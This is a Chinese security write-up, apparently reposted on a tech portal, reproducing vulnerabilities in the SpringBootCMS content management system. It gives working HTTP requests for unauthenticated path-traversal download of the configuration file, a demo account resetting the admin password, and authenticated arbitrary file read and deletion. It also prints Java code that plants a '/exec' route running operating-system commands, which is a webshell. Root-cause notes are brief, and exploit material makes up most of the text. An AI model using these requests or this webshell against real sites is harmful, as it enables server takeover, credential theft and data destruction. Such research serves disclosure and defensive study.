您当前的位置:首页 > 电脑百科 > 程序开发 > 架构

SpringBootCms

时间:2023-10-12 11:16:00  来源:合天网安实验室  作者:

SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。

http://www.jrecms.com/

环境搭建

修改 src/mAIn/resources/Application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件

运行 src/main/JAVA/com/cms/App.java

SpringBootCms

漏洞复现分析

未授权任意文件下载

GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1

Host: localhost:8888

User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/85.0.4183.83 Safari/537.36

Accept: */*

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest:

Referer: http://localhost:8888/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

SpringBootCms

com.cms.controller.common.FileController#download

SpringBootCms

通过传过来的参数 fileKey未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回

越权修改管理员密码

系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能

POST /admin/admin/reset HTTP/1.1

Host: localhost:8888

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: http://localhost:8888/admin/role

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 4

id=1

SpringBootCms

成功修改了管理员 admin 的密码,修改为 123456

com.cms.controller.admin.AdminController#reset

com.cms.filter.PermissionFilter#doFilter

SpringBootCms

根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。

其他的操作就会有相关的提示

SpringBootCms

授权任意文件读取

构造链接

http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties

SpringBootCms

SpringBootCms

com.cms.controller.admin.TemplateController#edit

SpringBootCms

对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示

授权任意文件修改可 getshell

查找其中不需要授权就可以访问到的路由对应的文件

http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java

SpringBootCms

添加恶意代码,增加命令执行的路由文件

@RequestMapping("/exec")

publicvoidexec(String command,HttpServletRequest request, HttpServletResponse response) throwsException{

// 执行命令并获取输出结果

ProcessBuilderprocessBuilder=newProcessBuilder;

processBuilder.command("cmd", "/c", command);

Processprocess=processBuilder.start;

// 读取命令输出的结果

Stringoutput="";

BufferedReaderinputReader=newBufferedReader(newInputStreamReader(process.getInputStream));

String line;

while((line = inputReader.readLine) != null) {

output +=line;

}

response.setHeader("Content",output);

}

重启项目后,发送路由信息

SpringBootCms

com.cms.controller.admin.TemplateController#update

SpringBootCms

漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行

授权任意文件删除

构造数据包

GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1

Host: localhost:8888

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/85.0.4183.83Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9

Connection: close

SpringBootCms

com.cms.controller.admin.DatabaseController#delete

SpringBootCms

com.cms.utils.BackupUtils#delete

SpringBootCms



Tags:SpringBootCms   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
SpringBootCms
SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方...【详细内容】
2023-10-12  Search: SpringBootCms  点击:(274)  评论:(0)  加入收藏
▌简易百科推荐
对于微服务架构监控应该遵守的原则
随着软件交付方式的变革,微服务架构的兴起使得软件开发变得更加快速和灵活。在这种情况下,监控系统成为了微服务控制系统的核心组成部分。随着软件的复杂性不断增加,了解系统的...【详细内容】
2024-04-03  步步运维步步坑    Tags:架构   点击:(5)  评论:(0)  加入收藏
大模型应用的 10 种架构模式
作者 | 曹洪伟在塑造新领域的过程中,我们往往依赖于一些经过实践验证的策略、方法和模式。这种观念对于软件工程领域的专业人士来说,已经司空见惯,设计模式已成为程序员们的重...【详细内容】
2024-03-27    InfoQ  Tags:架构模式   点击:(13)  评论:(0)  加入收藏
哈啰云原生架构落地实践
一、弹性伸缩技术实践1.全网容器化后一线研发的使用问题全网容器化后一线研发会面临一系列使用问题,包括时机、容量、效率和成本问题,弹性伸缩是云原生容器化后的必然技术选择...【详细内容】
2024-03-27  哈啰技术  微信公众号  Tags:架构   点击:(10)  评论:(0)  加入收藏
DDD 与 CQRS 才是黄金组合
在日常工作中,你是否也遇到过下面几种情况: 使用一个已有接口进行业务开发,上线后出现严重的性能问题,被老板当众质疑:“你为什么不使用缓存接口,这个接口全部走数据库,这怎么能扛...【详细内容】
2024-03-27  dbaplus社群    Tags:DDD   点击:(11)  评论:(0)  加入收藏
高并发架构设计(三大利器:缓存、限流和降级)
软件系统有三个追求:高性能、高并发、高可用,俗称三高。本篇讨论高并发,从高并发是什么到高并发应对的策略、缓存、限流、降级等。引言1.高并发背景互联网行业迅速发展,用户量剧...【详细内容】
2024-03-13    阿里云开发者  Tags:高并发   点击:(6)  评论:(0)  加入收藏
如何判断架构设计的优劣?
架构设计的基本准则是非常重要的,它们指导着我们如何构建可靠、可维护、可测试的系统。下面是这些准则的转换表达方式:简单即美(KISS):KISS原则的核心思想是保持简单。在设计系统...【详细内容】
2024-02-20  二进制跳动  微信公众号  Tags:架构设计   点击:(36)  评论:(0)  加入收藏
详解基于SpringBoot的WebSocket应用开发
在现代Web应用中,实时交互和数据推送的需求日益增长。WebSocket协议作为一种全双工通信协议,允许服务端与客户端之间建立持久性的连接,实现实时、双向的数据传输,极大地提升了用...【详细内容】
2024-01-30  ijunfu  今日头条  Tags:SpringBoot   点击:(9)  评论:(0)  加入收藏
PHP+Go 开发仿简书,实战高并发高可用微服务架构
来百度APP畅享高清图片//下栽のke:chaoxingit.com/2105/PHP和Go语言结合,可以开发出高效且稳定的仿简书应用。在实现高并发和高可用微服务架构时,我们可以采用一些关键技术。首...【详细内容】
2024-01-14  547蓝色星球    Tags:架构   点击:(115)  评论:(0)  加入收藏
GraalVM与Spring Boot 3.0:加速应用性能的完美融合
在2023年,SpringBoot3.0的发布标志着Spring框架对GraalVM的全面支持,这一支持是对Spring技术栈的重要补充。GraalVM是一个高性能的多语言虚拟机,它提供了Ahead-of-Time(AOT)编...【详细内容】
2024-01-11    王建立  Tags:Spring Boot   点击:(124)  评论:(0)  加入收藏
Spring Boot虚拟线程的性能还不如Webflux?
早上看到一篇关于Spring Boot虚拟线程和Webflux性能对比的文章,觉得还不错。内容较长,抓重点给大家介绍一下这篇文章的核心内容,方便大家快速阅读。测试场景作者采用了一个尽可...【详细内容】
2024-01-10  互联网架构小马哥    Tags:Spring Boot   点击:(115)  评论:(0)  加入收藏
相关文章
    无相关信息
站内最新
站内热门
站内头条